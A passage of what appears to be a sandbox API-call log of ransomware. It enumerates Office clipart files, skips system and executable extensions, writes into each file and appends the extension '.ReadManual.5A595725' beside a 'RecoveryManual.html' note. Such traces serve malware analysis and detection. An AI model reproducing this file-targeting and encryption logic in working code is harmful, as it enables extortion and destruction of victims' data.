nFileSizeLow=0x35f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105710.WMF", cAlternateFileName="")) returned 1 [0266.427] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105710.WMF" | out: lpString1="J0105710.WMF") returned="J0105710.WMF" [0266.427] lstrcmpiW (lpString1="J0105710.WMF", lpString2="RecoveryManual.html") returned -1 [0266.427] StrStrIW (lpFirst="J0105710.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.427] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.427] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.427] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.427] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.427] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.427] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.427] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.427] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.427] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.427] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.427] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.427] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.427] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.427] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.427] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" [0266.427] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.ReadManual.5A595725" [0266.427] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.ReadManual.5A595725") returned 87 [0266.428] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38709628488) returned 1 [0266.428] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf")) returned 0x20 [0266.428] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.428] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13808) returned 1 [0266.428] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x35f0, lpName=0x0) returned 0x184 [0266.428] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.429] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.429] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.430] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.431] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x35f0) returned 0x2f0000 [0266.431] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.431] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38709969815) returned 1 [0266.431] CloseHandle (hObject=0x184) returned 1 [0266.431] SetSecurityInfo () returned 0x57 [0266.431] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.431] CloseHandle (hObject=0x194) returned 1 [0266.431] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2030, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105846.WMF", cAlternateFileName="")) returned 1 [0266.431] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105846.WMF" | out: lpString1="J0105846.WMF") returned="J0105846.WMF" [0266.431] lstrcmpiW (lpString1="J0105846.WMF", lpString2="RecoveryManual.html") returned -1 [0266.431] StrStrIW (lpFirst="J0105846.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.431] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.431] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.431] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.431] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.432] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.432] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.432] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.432] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.432] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.432] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.432] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.432] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.432] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.432] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.432] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" [0266.432] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.ReadManual.5A595725" [0266.432] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.ReadManual.5A595725") returned 87 [0266.432] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38710067445) returned 1 [0266.432] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf")) returned 0x20 [0266.433] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.433] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8240) returned 1 [0266.433] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2030, lpName=0x0) returned 0x184 [0266.433] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.434] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.434] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.435] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.436] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2030) returned 0x2f0000 [0266.436] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.436] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38710471585) returned 1 [0266.436] CloseHandle (hObject=0x184) returned 1 [0266.436] SetSecurityInfo () returned 0x57 [0266.436] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.436] CloseHandle (hObject=0x194) returned 1 [0266.436] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2dc8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105912.WMF", cAlternateFileName="")) returned 1 [0266.436] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105912.WMF" | out: lpString1="J0105912.WMF") returned="J0105912.WMF" [0266.436] lstrcmpiW (lpString1="J0105912.WMF", lpString2="RecoveryManual.html") returned -1 [0266.436] StrStrIW (lpFirst="J0105912.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.436] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.436] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.436] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.436] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.437] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.437] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.437] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.437] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.437] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.437] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.437] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.437] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.437] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.437] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.437] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" [0266.437] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.ReadManual.5A595725" [0266.437] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.ReadManual.5A595725") returned 87 [0266.437] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38710569242) returned 1 [0266.437] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf")) returned 0x20 [0266.437] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.437] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11720) returned 1 [0266.437] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2dc8, lpName=0x0) returned 0x184 [0266.438] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.439] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.439] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.441] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.441] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2dc8) returned 0x2f0000 [0266.441] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.441] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38711025972) returned 1 [0266.442] CloseHandle (hObject=0x184) returned 1 [0266.442] SetSecurityInfo () returned 0x57 [0266.442] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.442] CloseHandle (hObject=0x194) returned 1 [0266.442] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105974.WMF", cAlternateFileName="")) returned 1 [0266.442] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105974.WMF" | out: lpString1="J0105974.WMF") returned="J0105974.WMF" [0266.442] lstrcmpiW (lpString1="J0105974.WMF", lpString2="RecoveryManual.html") returned -1 [0266.442] StrStrIW (lpFirst="J0105974.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.442] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.442] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.442] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.442] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.442] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.442] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.442] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.442] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.442] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.442] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.442] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.442] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.442] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.442] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.442] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" [0266.442] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.ReadManual.5A595725" [0266.442] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.ReadManual.5A595725") returned 87 [0266.442] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38711125730) returned 1 [0266.443] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf")) returned 0x20 [0266.443] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.443] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4612) returned 1 [0266.443] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1204, lpName=0x0) returned 0x184 [0266.443] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.444] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.444] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.445] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.446] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1204) returned 0x2f0000 [0266.446] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.446] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38711461063) returned 1 [0266.446] CloseHandle (hObject=0x184) returned 1 [0266.446] SetSecurityInfo () returned 0x57 [0266.446] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.446] CloseHandle (hObject=0x194) returned 1 [0266.446] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x274c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0106020.WMF", cAlternateFileName="")) returned 1 [0266.446] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0106020.WMF" | out: lpString1="J0106020.WMF") returned="J0106020.WMF" [0266.446] lstrcmpiW (lpString1="J0106020.WMF", lpString2="RecoveryManual.html") returned -1 [0266.446] StrStrIW (lpFirst="J0106020.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.446] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.446] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.446] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.446] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.446] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.446] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.446] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.447] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.447] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.447] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.447] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.447] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.447] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.447] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.447] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" [0266.447] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.ReadManual.5A595725" [0266.447] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.ReadManual.5A595725") returned 87 [0266.447] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38711560162) returned 1 [0266.447] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf")) returned 0x20 [0266.447] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.447] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10060) returned 1 [0266.447] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x274c, lpName=0x0) returned 0x184 [0266.447] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.448] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.448] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.450] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.450] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x274c) returned 0x2f0000 [0266.450] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.450] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38711893531) returned 1 [0266.450] CloseHandle (hObject=0x184) returned 1 [0266.450] SetSecurityInfo () returned 0x57 [0266.450] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.450] CloseHandle (hObject=0x194) returned 1 [0266.450] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16b4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0106124.WMF", cAlternateFileName="")) returned 1 [0266.451] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0106124.WMF" | out: lpString1="J0106124.WMF") returned="J0106124.WMF" [0266.451] lstrcmpiW (lpString1="J0106124.WMF", lpString2="RecoveryManual.html") returned -1 [0266.451] StrStrIW (lpFirst="J0106124.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.451] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.451] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.451] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.451] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.451] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.451] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.451] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.451] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.451] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.451] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.451] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.451] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.451] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.451] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.451] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" [0266.451] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft 